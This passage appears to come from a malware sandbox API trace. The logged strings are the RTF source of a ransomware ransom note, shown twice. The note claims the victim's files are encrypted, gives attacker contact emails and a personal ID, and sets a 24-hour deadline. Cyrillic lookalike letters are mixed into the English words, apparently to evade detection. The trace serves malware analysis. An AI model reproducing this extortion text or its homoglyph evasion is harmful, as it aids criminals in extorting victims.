i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 